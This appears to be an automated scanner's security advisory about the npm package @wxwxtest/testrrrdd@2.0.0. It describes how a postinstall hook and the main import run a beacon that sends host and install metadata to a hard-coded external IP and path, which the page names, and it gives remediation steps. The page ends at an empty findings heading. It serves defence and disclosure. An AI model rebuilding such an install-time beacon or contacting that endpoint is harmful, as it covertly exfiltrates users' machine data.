AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package automatically sends host-identifying and installation metadata to an unrelated hard-coded endpoint during installation and import. This is active, undisclosed metadata exfiltration and warrants blocking publication. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 98.0% - **Started:** 2026-10-09T11:11:01.227Z - **Finished:** 2026-10-09T11:11:32.617Z - **Download time:** 1520 ms - **Static scan time:** 13 ms - **AI review time:** 29856 ms - **Total time:** 31390 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installation or import triggers transmission of local machine and package-install metadata to a hard-coded external endpoint. - **Trigger:** The package's postinstall hook runs, or a consumer imports index.js. - **Impact:** The external recipient learns identifying details about the machine and package installation. - **Evidence paths:** package.json, beacon.cjs, index.js - **Review source:** ai\_review - **Reviewed:** 2026-10-09T11:11:32.617Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The beacon collects the hostname, installation path, working directory, and npm version, then posts the payload to 185.158.107.175:8787. - **Attack narrative:** The postinstall hook runs beacon.cjs, which posts host and installation metadata to a fixed external IP. Importing index.js invokes the same beacon, so the transmission can also occur at runtime. - **Rationale:** The package automatically sends host-identifying and installation metadata to an unrelated hard-coded endpoint during installation and import. This is active, undisclosed metadata exfiltration and warrants blocking publication. - **Files touched:** beacon.cjs - **Network endpoints:** http://185.158.107.175:8787/\_ah/dc ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The postinstall hook automatically runs the beacon script., The beacon sends a POST request to a hard-coded external IP address., Its payload includes the machine hostname, installation path, working directory, and npm version., Importing the main entrypoint also calls the beacon. ## Affected versions and remediation This report applies to @wxwxtest/testrrrdd@2.0.0. - Avoid installing @wxwxtest/testrrrdd@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
